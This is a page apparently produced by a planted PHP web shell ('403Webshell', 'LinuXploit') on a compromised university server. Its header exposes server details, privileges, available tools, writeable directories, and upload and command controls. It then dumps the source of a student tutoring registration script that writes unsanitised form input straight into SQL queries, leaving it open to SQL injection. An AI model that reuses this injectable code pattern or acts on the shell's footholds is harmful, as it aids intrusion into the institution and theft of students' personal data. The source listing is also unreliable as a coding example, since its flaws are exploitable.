403Webshell
Server IP : 104.21.84.107  /  Your IP : 104.23.197.208
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux adminpruebas-Virtual-Machine 6.14.0-37-generic #37-Ubuntu SMP PREEMPT_DYNAMIC Fri Nov 14 22:10:32 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.4.5
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/monitores/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html//monitores/monitoresguardar.php
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
?>

<?php
 
include 'conectarbdsql.php';
$link=Conectarse();

header('Content-Type: charset=utf-8');
mysqli_set_charset($link, "utf8");
  

$tipo_doc = $_POST['tipo_doc'] ?? '';
$numero_doc = $_POST['numero_doc'] ?? '';
$carrera = $_POST['carrera'] ?? '';
$codigo = $_POST['codigo'] ?? '';
$p_nombre = $_POST['p_nombre'] ?? '';
$s_nombre = $_POST['s_nombre'] ?? '';
$p_apellido = $_POST['p_apellido'] ?? '';
$s_apellido = $_POST['s_apellido'] ?? '';
$genero = $_POST['genero'] ?? '';
$telefono = $_POST['telefono'] ?? '';
$celular = $_POST['celular'] ?? '';
$correo = $_POST['correo'] ?? '';
$eps = $_POST['eps'] ?? '';
$fecha = $_POST['fecha'] ?? '';
$departamento_nacimiento = $_POST['departamento_nacimiento'] ?? '';
$municipio_nacimiento = $_POST['municipio_nacimiento'] ?? '';
$barrio = $_POST['barrio'] ?? '';
$direccion = $_POST['direccion'] ?? '';
$departamento_residencia = $_POST['departamento_residencia'] ?? '';
$municipio_residencia = $_POST['municipio_residencia'] ?? '';
$dependencia = $_POST['dependencia'] ?? '';
$curso = $_POST['curso'] ?? '';
$lunes = isset($_POST['lunes']) ? 1 : 0;
$martes = isset($_POST['martes']) ? 1 : 0;
$miercoles = isset($_POST['miercoles']) ? 1 : 0;
$jueves = isset($_POST['jueves']) ? 1 : 0;
$viernes = isset($_POST['viernes']) ? 1 : 0;
$sabado = isset($_POST['sabado']) ? 1 : 0;
$fecha_inicio = $_POST['fecha_inicio'] ?? '';
$fecha_final = $_POST['fecha_final'] ?? '';
$horas = $_POST['horas'] ?? '';
$lugar = $_POST['lugar'] ?? '';

$semestres = $_POST['semestres'] ?? '';
$promedio = $_POST['promedio'] ?? '';
$nota = $_POST['nota'] ?? '';

// ---------- FORMATEO CORRECTO DE FECHAS ----------

// Fecha de nacimiento
$fecha = null;
if (!empty($_POST['fecha'])) {
    $fechaObj = DateTime::createFromFormat('Y-m-d', $_POST['fecha']);
    if ($fechaObj) {
        $fecha = $fechaObj->format('Y-m-d');
    }
}

// Fecha inicio monitor�a
$fecha_inicio = null;
if (!empty($_POST['fecha_inicio'])) {
    $fechaInicioObj = DateTime::createFromFormat('Y-m-d', $_POST['fecha_inicio']);
    if ($fechaInicioObj) {
        $fecha_inicio = $fechaInicioObj->format('Y-m-d');
    }
}

// Fecha final monitor�a
$fecha_final = null;
if (!empty($_POST['fecha_final'])) {
    $fechaFinalObj = DateTime::createFromFormat('Y-m-d', $_POST['fecha_final']);
    if ($fechaFinalObj) {
        $fecha_final = $fechaFinalObj->format('Y-m-d');
    }
}

// Fecha inscripci�n (HOY)
$fechainsc = date("Y-m-d");

$consulta = mysqli_query($link, "SELECT MAX(id_monitoria) AS mayor FROM monitores")or die("Problemas en el maximo consecutivo: " . mysqli_error($link));
$ordenada=mysqli_fetch_array($consulta);
$consecutivo = ($ordenada['mayor'] ?? 0) + 1;


$consulta2 = mysqli_query($link, "SELECT nombre FROM eps WHERE cod_eps = '$eps'")or die("Error consultando EPS: " . mysqli_error($link));

$ordenada2 = mysqli_fetch_assoc($consulta2);

$fechainsc = date("Ymd");

$fecha_inicio_sql = $fecha_inicio ? "'$fecha_inicio'" : "NULL";
$fecha_final_sql  = $fecha_final ? "'$fecha_final'" : "NULL";
$fecha_sql        = $fecha ? "'$fecha'" : "NULL";

$consulta="insert into monitores values 
('$consecutivo', '$tipo_doc', '$numero_doc', '$carrera', '$codigo', '$p_nombre', '$s_nombre', '$p_apellido', '$s_apellido', '$genero', '$telefono', '$celular', '$correo', '$eps', $fecha_sql, '$departamento_nacimiento', '$municipio_nacimiento',
'$barrio', '$direccion', '$departamento_residencia', '$municipio_residencia',  '$dependencia', '$curso', '$lunes', '$martes', '$miercoles', '$jueves', '$viernes', '$sabado', $fecha_inicio_sql, $fecha_final_sql, '$horas', '$lugar', '$semestres', '$promedio', '$nota', '$fechainsc'
)";

mysqli_query($link, $consulta)or die("error en la inserccion".mysqli_error($link));


include('class.ezpdf.php');
$pdf = new Cezpdf('a4');
$pdf->selectFont('fonts/Helvetica.afm');
$datacreator = array (
                    'Title'=>'Formato Inscripci�n',
                    'Author'=>'Universidad de los LLanos',
                    'Subject'=>'Inscripci�n monitorias',
                    'Creator'=>'Universidad de los LLanos',
                    'Producer'=>'Universidad de los LLanos'
                    );
$pdf->addInfo($datacreator);
//$pdf->ezText("   <b><a href="">ESTE ES EL ID DEL DOCENTE:</a></b>  ".$id_docente,12);$pdf->ezText("\n",4);
$pdf->ezStartPageNumbers(300,20,12,'','',1);

$text_option=array('justification'=>'center',20);
$text_option2=array('justification'=>'center');



$tabla3 = array( 
'showHeadings'=>1, 
'shaded'=>1, 
'showLines'=>1, 
'colGap'=>2, 
'xOrientation'=>'center', 
'cols'=>array( 
"sem" => array('justification'=>'center', 'width' => '140'), 
"prom" => array('justification'=>'center', 'width' => '100'), 
"not" => array('justification'=>'center', 'width' => '100')));


$tabla1 = array( 
'showHeadings'=>1, 
'shaded'=>1, 
'showLines'=>1, 
'colGap'=>2, 
'xOrientation'=>'center', 
'cols'=>array( 
"hor" => array('justification'=>'center', 'width' => '70'), 
"lun" => array('justification'=>'center', 'width' => '50'), 
"mar" => array('justification'=>'center', 'width' => '50'),
"mie" => array('justification'=>'center', 'width' => '60'),
"jue" => array('justification'=>'center', 'width' => '50'),
"vie" => array('justification'=>'center', 'width' => '50'),
"sab" => array('justification'=>'center', 'width' => '50')
));

$tabla2 = array( 
'showHeadings'=>1, 
'shaded'=>1, 
'showLines'=>1, 
'colGap'=>2, 
'xOrientation'=>'center', 
'cols'=>array( 
"con" => array('justification'=>'center', 'width' => '120'), 
"curso" => array('justification'=>'center', 'width' => '80'), 
"lug" => array('justification'=>'center', 'width' => '100'), 
"hor" => array('justification'=>'center', 'width' => '70'), 
"lun" => array('justification'=>'center', 'width' => '30'), 
"mar" => array('justification'=>'center', 'width' => '30'),
"mie" => array('justification'=>'center', 'width' => '30'),
"jue" => array('justification'=>'center', 'width' => '30'),
"vie" => array('justification'=>'center', 'width' => '30'),
"sab" => array('justification'=>'center', 'width' => '30')));


$tabla4 = array( 
'showHeadings'=>1, 
'shaded'=>1, 
'showLines'=>1, 
'colGap'=>2, 
'xOrientation'=>'center', 
'cols'=>array( 
"req" => array('justification'=>'left', 'width' => '350'), 
"cum" => array('justification'=>'center', 'width' => '70'), 
"ncum" => array('justification'=>'center', 'width' => '70')));

$tabla5 = array( 
'showHeadings'=>1, 
'shaded'=>1, 
'showLines'=>1, 
'colGap'=>2, 
'xOrientation'=>'center', 
'cols'=>array( 
"sel" => array('justification'=>'left', 'width' => '120'), 
"si" => array('justification'=>'center', 'width' => '70'), 
"no" => array('justification'=>'center', 'width' => '70')));

$tabla6 = array( 
'showHeadings'=>1, 
'shaded'=>1, 
'showLines'=>1, 
'colGap'=>2, 
'xOrientation'=>'center', 
'cols'=>array( 
"rev" => array('justification'=>'left', 'width' => '200'), 
"fec" => array('justification'=>'center', 'width' => '70')));

$tabla7 = array( 
'showHeadings'=>1, 
'shaded'=>1, 
'showLines'=>1, 
'colGap'=>2, 
'xOrientation'=>'center', 
'cols'=>array( 
"rev" => array('justification'=>'left', 'width' => '240'), 
"fec" => array('justification'=>'center', 'width' => '70')));

$options = array( 'shadeCol'=>array(0.9,0.9,0.9),
'xOrientation'=>'center',
'width'=>500);
$centrar=array('xOrientation'=>'center');

$pdf->ezText("<b>DATOS PERSONALES\n</b>",10);
$pdf->ezText("\n",4);
if(strcmp("TI", $tipo_doc)==0) $tipolimpio="Tarjeta de identidad";
if(strcmp("CC", $tipo_doc)==0) $tipolimpio="Cedula de ciudadania";
if(strcmp("CE", $tipo_doc)==0) $tipolimpio="Cedula de extranjeria";
$pdf->ezText("<b>Tipo de documento: </b>$tipolimpio               <b>Numero: </b>$numero_doc  \n",9);
//$pdf->ezText("<b>Numero: </b>$numero_doc \n",9);
$pdf->ezText("<b>Nombre: </b>$p_nombre $s_nombre                     <b>Apellido: </b>$p_apellido $s_apellido \n",9);
//$pdf->ezText("<b>Apellido: </b>$p_apellido $s_apellido \n",9);
//$pdf->ezText("<b>Codigo: </b>$codigo \n",9);

if($carrera==1) $carrera="ADMINISTRACION DE EMPRESAS (Jornada Diurna)";
if($carrera==2) $carrera="ADMINISTRACION DE EMPRESAS (Jornada Nocturna)";
if($carrera==3) $carrera="BIOLOGIA";
if($carrera==4) $carrera="CONTADURIA PUBLICA (Jornada Diurna)";
if($carrera==5) $carrera="CONTADURIA PUBLICA (Jornada Nocturna)";
if($carrera==6) $carrera="ECONOMIA";
if($carrera==7) $carrera="ENFERMERIA";
if($carrera==8) $carrera="INGENIERIA AGROINDUSTRIAL";
if($carrera==9) $carrera="INGENIERIA AGRONOMICA";
if($carrera==10) $carrera="INGENIERIA DE SISTEMAS";
if($carrera==11) $carrera="INGENIERIA ELECTRONICA";
if($carrera==12) $carrera="LICENCIATURA EN EDUCACION FISICA";
if($carrera==13) $carrera="LICENCIATURA EN MATEMATICAS Y FISICA";
if($carrera==14) $carrera="LICENCIATURA EN PEDAGOGIA INFANTIL";
if($carrera==15) $carrera="LICENCIATURA EN PRODUCCION AGROPECUARIA";
if($carrera==16) $carrera="MEDICINA VETERINARIA Y ZOOTECNIA";
if($carrera==17) $carrera="MERCADEO";
if($carrera==18) $carrera="TECNOLOGIA EN GESTION DE EMPRESAS PECUARIAS (Villavicencio)";
if($carrera==19) $carrera="TECNOLOGIA EN REGENCIA DE FARMACIA";
if($carrera==20) $carrera="INGENIER�A AMBIENTAL";
if($carrera==21) $carrera="LICENCIATURA EN MATEM�TICAS";
if($carrera==22) $carrera="LICENCITARUA EN EDUCACI�N F�SICA Y DEPORTE";
if($carrera==23) $carrera="LICENCIATURA EN EDUCACI�N INFANTIL";
if($carrera==24) $carrera="LICENCIATURA EN EDUACI�N CAMPESINA Y RURAL";
if($carrera==25) $carrera="FONOAUDIOLOG�A";
if($carrera==26) $carrera="FISIOTERAPIA";
if($carrera==27) $carrera="INGENIER�A DE PROCESOS";
if($carrera==28) $carrera="LICENCIATURA EN ESPAÑOL E INGLES";
$pdf->ezText("<b>Programa: </b>$carrera                  <b>Codigo: </b>$codigo\n",9);
//$pdf->ezText("<b>Celular: </b>$celular \n",9);
$pdf->ezText("<b>Residencia: </b>$direccion   <b>Barrio: </b>$barrio                  <b>Celular: </b>$celular    <b>Email:</b> $correo \n",9);


$pdf->ezText("\n",4);
$pdf->ezText("<b>DATOS DE LA MONITORIA A REALIZAR\n</b>",10);

$pdf->ezText("<b>Codigo Inscripci�n:</b>  ".$consecutivo,9);
$pdf->ezText("\n",4);
//$pdf->ezText("<a href='formatosobreocasional.html?id=".$id_docente."'>Imprimir Sobre</a> ",12);
//$pdf->ezText("\n",4);
$pdf->ezText("\n",4);

if(strcmp("B", $lugar)==0) $lugar="Sede Barcelona";
if(strcmp("S", $lugar)==0) $lugar="Sede san Antonio";
if(strcmp("E", $lugar)==0) $lugar="Sede Emporio";
if(strcmp("G", $lugar)==0) $lugar="Sede Boquemonte";

if($lunes=="1") $lunes="X";
if($martes=="1") $martes="X";
if($miercoles=="1") $miercoles="X";
if($jueves=="1") $jueves="X";
if($viernes=="1") $viernes="X";
if($sabado=="1") $sabado="X";


$data2[] = array('con'=>$dependencia, 'curso'=>$curso,  'lug'=>$lugar, 'hor'=>$horas,  'lun'=>$lunes, 'mar'=>$martes, 'mie'=>$miercoles, 'jue'=>$jueves, 'vie'=>$viernes, 'sab'=>$sabado);
$titles2 = array('con'=>'<b>Dependencia</b>', 'curso'=>'<b>Curso</b>',  'lug'=>'<b>Lugar</b>', 'hor'=>'<b>Horas semanales</b>','lun'=>'<b>Lu</b>', 'mar'=>'<b>Mar</b>', 'mie'=>'<b>Mie</b>', 'jue'=>'<b>Jue</b>', 'vie'=>'<b>Vie</b>', 'sab'=>'<b>Sab</b>');
$pdf->ezTable($data2,$titles2,'',$tabla2);
$pdf->ezText("\n",6);

$data3[] = array('sem'=>$semestres,  'prom'=>$promedio, 'not'=>$nota );
$titles3 = array('sem'=>'<b>Semestres Cursados</b>', 'prom'=>'<b>Promedio Carrera</b>', 'not'=>'<b>Nota del curso</b>');
$pdf->ezTable($data3,$titles3,'',$tabla3);

$pdf->ezText("\n",6);
$pdf->ezText("<b>PARA TODOS LOS EFECTOS LEGALES, CERTIFICO QUE LOS DATOS POR M� CONSIGNADOS EN EL PRESENTE FORMATO SON VERACES. </b>",10);$pdf->ezText("\n",2);

$pdf->ezText(" (La suma total de las horas semanales de monitor�a y/o auxiliar de docencia a las que me estoy postulando no supera las 16 horas semanales)",8);
$pdf->ezText("\n",6);

$pdf->ezText(" <b>FIRMA ESTUDIANTE: _______________________________</b>",12,$text_option);

$pdf->ezText("\n",4);

$pdf->ezText("\n",4);
$pdf->ezText("<b>ESPACIO PARA SER DILIGENCIADO POR LA FACULTAD O DEPENDENCIA QUE SOLICITA LA MONITOR�A\n</b>",10);

$data4[0] = array('req'=>'Matr�cula vigente',  'cum'=>'',  'ncum'=>'');
$data4[1] = array('req'=>'Est� cursando como m�nimo el tercer semestre',  'cum'=>'',  'ncum'=>'' );
$data4[2] = array('req'=>'Promedio acumulado de notas igual o superior a 3.6 o Promedio en cursos vistos del componente curricular,  igual o superior a 3.6',  'cum'=>'',  'ncum'=>'' );
//$data4[3] = array('req'=>'Promedio en cursos vistos del componente curricular,  igual o superior a 3.6',  'cum'=>'',  'ncum'=>'' );
$data4[3] = array('req'=>'No haber sido sancionado disciplinariamente',  'cum'=>'',  'ncum'=>'' );
$data4[4] = array('req'=>'Pruebas de conocimiento y aptitud',  'cum'=>'',  'ncum'=>'' );

$titles4 = array('req'=>'<b>Requisitos</b>', 'cum'=>'<b>Cumple</b>', 'ncum'=>'<b>No Cumple</b>');
$pdf->ezTable($data4,$titles4,'',$tabla4);

$pdf->ezText("\n",4);


$data5[0] = array('sel'=>'<b>Seleccionado</b>',  'si'=>'',  'no'=>'');
$titles5 = array('sel'=>'', 'si'=>'<b>Si</b>', 'no'=>'<b>No</b>');
$pdf->ezTable($data5,$titles5,'',$tabla5);

$pdf->ezText("\n",6);

$data6[0] = array('rev'=>'', 'fec'=>'');
$titles6 = array('rev'=>'<b>Revisado por</b>', 'fec'=>'<b>Fecha</b>');
$pdf->ezTable($data6,$titles6,'',$tabla6);

$pdf->ezText("\n",8);

$data7[0] = array('rev'=>'', 'fec'=>'');
$titles7 = array('rev'=>'<b>Autorizado por(Decano o Jefe de dependencia)</b>', 'fec'=>'<b>Fecha</b>');
$pdf->ezTable($data7,$titles7,'',$tabla7);


$pdf->ezText("\n",4);
$pdf->ezText("<b>Fecha impresi�n:</b> ".date("d/m/Y"),10);
$pdf->ezText("\n",2);

ob_end_clean();
$pdf->ezStream();
$pdf->ezStopPageNumbers();

$output = $pdf->ezOutput();
file_put_contents("inscritos/".$consecutivo.".pdf", $output);

?>




Youez - 2016 - github.com/yon3zu
LinuXploit